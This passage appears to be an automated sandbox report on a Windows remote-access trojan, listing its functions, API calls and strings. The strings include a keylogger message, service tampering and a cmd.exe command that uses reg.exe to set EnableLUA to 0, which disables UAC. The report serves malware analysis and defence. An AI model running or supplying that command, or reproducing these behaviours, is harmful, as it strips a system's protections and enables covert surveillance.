                              • API String ID: 4189289331-0
                              • Opcode ID: eef5811f0b3e11eaf1bdde4175ac7a9ebfa2f3cd5d18ba66a6432d1456243127
                              • Instruction ID: 6c78d09a6f5169ef6f707262af513c71f712f2c279f5202ad8aecd4a6012115a
                              • Opcode Fuzzy Hash: eef5811f0b3e11eaf1bdde4175ac7a9ebfa2f3cd5d18ba66a6432d1456243127
                              • Instruction Fuzzy Hash: D951EA72900A05ABFF209B59CC81FAF77A9EF49334F14421FF515A6293DB39D900866C
                              Function 0041AC78 Relevance: 9.1, APIs: 6, Instructions: 67serviceCOMMON
                              Download Yara Rule
                              APIs
                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041AC88
                              • OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,?,?,0041A38E,00000000), ref: 0041AC9C
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACA9
                              • ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041ACDE
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF0
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF3
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Service$CloseHandle$Open$ChangeConfigManager
                              • String ID:
                              • API String ID: 493672254-0
                              • Opcode ID: efec56fc5935d5a2572c80bdc1daad9799237a8c2fd258714d4154745ff5c6c1
                              • Instruction ID: ed0bae8235b77a8e2b5b4951a925fd67a34dfbd091713fce30693036f81a5133
                              • Opcode Fuzzy Hash: efec56fc5935d5a2572c80bdc1daad9799237a8c2fd258714d4154745ff5c6c1
                              • Instruction Fuzzy Hash: 84014E311452147BD6110B385C4DEFB3B5CDB42771F100317F925922D1EA68CD45B5EE
                              Function 00448215 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                              • _free.LIBCMT ref: 0044824C
                              • _free.LIBCMT ref: 00448274
                              • SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                              • SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                              • _abort.LIBCMT ref: 00448293
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast$_free$_abort
                              • String ID:
                              • API String ID: 3160817290-0
                              • Opcode ID: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
                              • Instruction ID: 1e51d54565af68f960eede883612623578b8b4ccb82fc25c91f14e3db4823c68
                              • Opcode Fuzzy Hash: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
                              • Instruction Fuzzy Hash: 15F0F935104F006AF611332A6C05B5F2515ABC276AF25066FF92892292DFACCC4581AD
                              Function 0041AAA6 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                              Download Yara Rule
                              APIs
                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,00000001,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAB5
                              • OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAC9
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAD6
                              • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAE5
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAF7
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAFA
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Service$CloseHandle$Open$ControlManager
                              • String ID:
                              • API String ID: 221034970-0
                              • Opcode ID: 4ae3873c1f536b49cfb6b65ca2e5a3703e9976f2291b0d96870e63be56c21842
                              • Instruction ID: 651adf303b3d55a6ad93a9774d9c6d096703db2647e4265c62a250da7e042a32
                              • Opcode Fuzzy Hash: 4ae3873c1f536b49cfb6b65ca2e5a3703e9976f2291b0d96870e63be56c21842
                              • Instruction Fuzzy Hash: 68F0C231541218ABD711AF25AC49EFF3B6CDF45BA2F000026FE0992192DB68CD4695E9
                              Function 0041ABAA Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                              Download Yara Rule
                              APIs
                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABB9
                              • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABCD
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABDA
                              • ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABE9
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFB
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFE
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Service$CloseHandle$Open$ControlManager
                              • String ID:
                              • API String ID: 221034970-0
                              • Opcode ID: 81e2b4606ab98421978dc9842ef1edfa46dc1b90a9204ca08327dde20b0592b6
                              • Instruction ID: cdcae22f94af1ce7d279f83afe572816001e75aa845eac4345c2c81124f82824
                              • Opcode Fuzzy Hash: 81e2b4606ab98421978dc9842ef1edfa46dc1b90a9204ca08327dde20b0592b6
                              • Instruction Fuzzy Hash: 84F0C231501218ABD6116F259C49DFF3B6CDB45B62F40002AFE0996192EB38DD4595F9
                              Function 0041AC11 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                              Download Yara Rule
                              APIs
                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC20
                              • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC34
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC41
                              • ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC50
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC62
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC65
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Service$CloseHandle$Open$ControlManager
                              • String ID:
                              • API String ID: 221034970-0
                              • Opcode ID: fc89c5385e453168767847f65058b20f434ef67782af095c3a641765214ec1d0
                              • Instruction ID: 1af6be829003de2eeb85b71d4b0cbdb2c911632148e7083bdbbda8586ff13133
                              • Opcode Fuzzy Hash: fc89c5385e453168767847f65058b20f434ef67782af095c3a641765214ec1d0
                              • Instruction Fuzzy Hash: 2FF0F631501228BBD711AF25EC49DFF3B6CDB45B62F00002AFE0992192EB38CD4595F9
                              Function 0044E6E9 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 168COMMON
                              Download Yara Rule
                              APIs
                              • _strpbrk.LIBCMT ref: 0044E738
                              • _free.LIBCMT ref: 0044E855
                                • Part of subcall function 0043BD19: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0043BD1B
                                • Part of subcall function 0043BD19: GetCurrentProcess.KERNEL32(C0000417,?,00405103), ref: 0043BD3D
                                • Part of subcall function 0043BD19: TerminateProcess.KERNEL32(00000000,?,00405103), ref: 0043BD44
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
                              • String ID: *?$.$5}/
                              • API String ID: 2812119850-2341826382
                              • Opcode ID: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
                              • Instruction ID: 94a4b4bbf586d133b1ca6d09685756ea089c4dad0dcc4a5060c65dcbb11523ea
                              • Opcode Fuzzy Hash: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
                              • Instruction Fuzzy Hash: B951C375E00109EFEF14DFAAC881AAEBBB5FF58314F25816EE454E7301E6399E018B54
                              Function 00443435 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 116COMMON
                              Download Yara Rule
                              APIs
                              • GetModuleFileNameA.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000104), ref: 00443475
                              • _free.LIBCMT ref: 00443540
                              • _free.LIBCMT ref: 0044354A
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$FileModuleName
                              • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$P0L
                              • API String ID: 2506810119-3236180659
                              • Opcode ID: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
                              • Instruction ID: 78b8e4ab202bb8962dfea6a4c95dea7b8c186c0554b41bb8e719afd17783d6d0
                              • Opcode Fuzzy Hash: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
                              • Instruction Fuzzy Hash: 2E31C471A00258BFEB21DF999C8199EBBBCEF85B15F10406BF50497311D6B89F81CB98
                              Function 0040B164 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68timeCOMMON
                              Download Yara Rule
                              APIs
                              • GetLocalTime.KERNEL32(?,Offline Keylogger Started,?), ref: 0040B172
                              • wsprintfW.USER32 ref: 0040B1F3
                                • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: EventLocalTimewsprintf
                              • String ID: [%04i/%02i/%02i %02i:%02i:%02i $Offline Keylogger Started$]
                              • API String ID: 1497725170-248792730
                              • Opcode ID: 65b46232fdee2079f17a48eaa96158f2453b4876d4296abcf31ffc0408f1bd52
                              • Instruction ID: 81b60f5d3581edaaac31e3e44e1e4f5c322996b2d8bf5e7d6f89c643b346fb92
                              • Opcode Fuzzy Hash: 65b46232fdee2079f17a48eaa96158f2453b4876d4296abcf31ffc0408f1bd52
                              • Instruction Fuzzy Hash: 82117F72504118AACB18AB96EC558FE77BCEE48315B00012FF506A60E1FF7C9E46C6AC
                              Function 0040A675 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6AB
                              • GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                              • Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                              • CloseHandle.KERNEL32(00000000), ref: 0040A6EE
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$CloseCreateHandleSizeSleep
                              • String ID: XQG
                              • API String ID: 1958988193-3606453820
                              • Opcode ID: a936430ac144879a830ace31701bfe89764f94ae4ec5835598aad753144bf191
                              • Instruction ID: 2d5b847f40b6dc6d65e682cb961bc0859910b41d7418e35cc132b68a4a9af338
                              • Opcode Fuzzy Hash: a936430ac144879a830ace31701bfe89764f94ae4ec5835598aad753144bf191
                              • Instruction Fuzzy Hash: AD112B30600740EEE631A7249895A5F3B6AEB41356F48083AF2C26B6D2C6799CA0C35E
                              Function 0041D50F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registryCOMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ClassCreateErrorLastRegisterWindow
                              • String ID: 0$MsgWindowClass
                              • API String ID: 2877667751-2410386613
                              • Opcode ID: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                              • Instruction ID: 921741f364e14ac5d494c0d6481b3569f22aad0bbfd2e997b493b5423d792a6e
                              • Opcode Fuzzy Hash: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                              • Instruction Fuzzy Hash: 910129B1D00219BBDB00DFD5ECC49EFBBBDEA04355F40053AF900A6240E77859058AA4
                              Function 00407755 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON
                              Download Yara Rule
                              APIs
                              • CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 0040779B
                              • CloseHandle.KERNEL32(?), ref: 004077AA
                              • CloseHandle.KERNEL32(?), ref: 004077AF
                              Strings
                              • /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 00407791
                              • C:\Windows\System32\cmd.exe, xrefs: 00407796
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseHandle$CreateProcess
                              • String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
                              • API String ID: 2922976086-4183131282
                              • Opcode ID: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                              • Instruction ID: bcd6b2dc2297655d1c2a6c7a9d844aadd79638dc8707381bf3a952a3ff6736b4
                              • Opcode Fuzzy Hash: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                              • Instruction Fuzzy Hash: BCF03676D4029D76CB20ABD6DC0EEDF7F7DEBC5B11F00056AF904A6141E6746404C6B9
                              Function 00407260 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON
                              Download Yara Rule
                              Strings
                              • SG, xrefs: 004076DA
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 004076C4
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID: SG$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                              • API String ID: 0-643455097
                              • Opcode ID: a5e5064d23fdb4a5105bb888b891a2001f99cf11455aefb2b8df45e89f9c3324
                              • Instruction ID: 1b954d03a55cc3c1a25a26db856d3c6076ddce7f3b9fad0ad77fefb3a3407f05
                              • Opcode Fuzzy Hash: a5e5064d23fdb4a5105bb888b891a2001f99cf11455aefb2b8df45e89f9c3324
                              • Instruction Fuzzy Hash: 2CF046B0F14A00EBCB0467655D186693A05A740356F404C77F907EA2F2EBBD5C41C61E
                              Function 004050E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON
                              Download Yara Rule
                              APIs
                              • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405120
                              • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00404E7A,00000001), ref: 0040512C
                              • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,00404E7A,00000001), ref: 00405137
                              • CloseHandle.KERNEL32(?), ref: 00405140
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                              • String ID: KeepAlive | Disabled
                              • API String ID: 2993684571-305739064
                              • Opcode ID: 11e320f67abdd95442ebe69be37ae07741154b3609cf10b7525108ad99fbffe3
                              • Instruction ID: c1447ea2195e795a2fa4d382ed9a15925dec3dc8ccf256ab7d783030aa8980db
                              • Opcode Fuzzy Hash: 11e320f67abdd95442ebe69be37ae07741154b3609cf10b7525108ad99fbffe3
                              • Instruction Fuzzy Hash: 4CF06271904711BBDB103B758D0A66B7A54AB02311F0009BEF982916E2D6798840CF9A
                              Function 0041ADC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30sleepCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              • GetModuleHandleA.KERNEL32(00000000,00020009), ref: 0041ADF2
                              • PlaySoundW.WINMM(00000000,00000000), ref: 0041AE00
                              • Sleep.KERNEL32(00002710), ref: 0041AE07
                              • PlaySoundW.WINMM(00000000,00000000,00000000), ref: 0041AE10
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: PlaySound$HandleLocalModuleSleepTime
                              • String ID: Alarm triggered
                              • API String ID: 614609389-2816303416
                              • Opcode ID: 458a9fadc2ddf1b51f38526f332080559b1bee2397fd5821544ba6e308cf5034
                              • Instruction ID: 9c0713ce1321a11b0f254193fe9a85ef30a97b7eb59a64372af151f10574a600
                              • Opcode Fuzzy Hash: 458a9fadc2ddf1b51f38526f332080559b1bee2397fd5821544ba6e308cf5034
                              • Instruction Fuzzy Hash: 36E01226B44260779620377B6D4FD6F3D28DAC2B5170100BEFA0666192D9580C4586FB
                              Function 0041CD58 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                              Download Yara Rule
                              APIs
                              • GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,0041CDED), ref: 0041CD62
                              • GetConsoleScreenBufferInfo.KERNEL32 ref: 0041CD6F
                              • SetConsoleTextAttribute.KERNEL32(00000000,0000000C), ref: 0041CD7C
                              • SetConsoleTextAttribute.KERNEL32(00000000,?), ref: 0041CD8F
                              Strings
                              • ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 0041CD82
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Console$AttributeText$BufferHandleInfoScreen
                              • String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
                              • API String ID: 3024135584-2418719853
                              • Opcode ID: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
                              • Instruction ID: 0b88db63cd78dea0703aeaf814a7171c31f7e2e6e0b1944ffb711cb25cf7542c
                              • Opcode Fuzzy Hash: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
                              • Instruction Fuzzy Hash: B4E04872904315E7E31027B5EC4DDAB7B7CE745713B100266FA12915D39A749C40C6B5
                              Function 0040F8FD Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                              • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F91B
                              • Process32FirstW.KERNEL32(00000000,?), ref: 0040F93F
                              • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F94E
                              • CloseHandle.KERNEL32(00000000), ref: 0040FB05
                                • Part of subcall function 0041BFE5: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040F5F9,00000000,?,?,00475338), ref: 0041BFFA
                                • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                                • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                              • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040FAF6
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Process$OpenProcess32$Next$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                              • String ID:
                              • API String ID: 4269425633-0
                              • Opcode ID: 6f51e59ffccac79a8cfa31e78c91a9a185d84b91a830793d1a1b18643491f6ec
                              • Instruction ID: d179df5438ecf7187d550cf9263b6860c2801d48d571b2859f9d543a591e132f
                              • Opcode Fuzzy Hash: 6f51e59ffccac79a8cfa31e78c91a9a185d84b91a830793d1a1b18643491f6ec
                              • Instruction Fuzzy Hash: 784116311083419BC325F722DC55AEFB3A5AF94345F50493EF48A921E2EF385A49C75A
                              Function 0044F35A Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                              Download Yara Rule
                              APIs
                              • GetEnvironmentStringsW.KERNEL32 ref: 0044F363
                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044F386
                                • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044F3AC
                              • _free.LIBCMT ref: 0044F3BF
                              • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044F3CE
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                              • String ID:
                              • API String ID: 336800556-0
                              • Opcode ID: be8aad2c18c16d35f713b979a96ac7f1c772162f60e003adf0fa877a85dcd87d
                              • Instruction ID: 8337c1946637dec1c7c9c61cb05458c13fbc509b7d73539ecc926bc10a2836fd
                              • Opcode Fuzzy Hash: be8aad2c18c16d35f713b979a96ac7f1c772162f60e003adf0fa877a85dcd87d
                              • Instruction Fuzzy Hash: 2301B173601755BB37211ABA5C8CC7F6A6CDAC6FA5315013FFD14C2202EA68CD0581B9
                              Function 00448299 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetLastError.KERNEL32(?,00000000,00000000,0043BC87,00000000,00000000,?,0043BD0B,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044829E
                              • _free.LIBCMT ref: 004482D3
                              • _free.LIBCMT ref: 004482FA
                              • SetLastError.KERNEL32(00000000,?,00405103), ref: 00448307
                              • SetLastError.KERNEL32(00000000,?,00405103), ref: 00448310
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast$_free
                              • String ID:
                              • API String ID: 3170660625-0
                              • Opcode ID: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
                              • Instruction ID: 817e1e76de570c2b023109a843fda652767a1b5a915d0172e9d2adf04509528a
                              • Opcode Fuzzy Hash: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
                              • Instruction Fuzzy Hash: 5601F936500B0067F3112A2A5C8596F2559EBC2B7A735452FFD19A22D2EFADCC01816D
                              Function 004509BC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • _free.LIBCMT ref: 004509D4
                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                              • _free.LIBCMT ref: 004509E6
                              • _free.LIBCMT ref: 004509F8
                              • _free.LIBCMT ref: 00450A0A
                              • _free.LIBCMT ref: 00450A1C
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$ErrorFreeHeapLast
                              • String ID:
                              • API String ID: 776569668-0
                              • Opcode ID: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                              • Instruction ID: 8e1836d4b3683ea2f551dac33bf8b94159c93f8dbbc189607f67f5fa0db289e6
                              • Opcode Fuzzy Hash: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                              • Instruction Fuzzy Hash: F3F04F76504600B79620EB5DE8C2C1B73D9EA0571A795891BF66CDB612CB38FCC0869C
                              Function 00444048 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                              Download Yara Rule
                              APIs
                              • _free.LIBCMT ref: 00444066
                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                              • _free.LIBCMT ref: 00444078
                              • _free.LIBCMT ref: 0044408B
                              • _free.LIBCMT ref: 0044409C
                              • _free.LIBCMT ref: 004440AD
                              Memory Dump Source
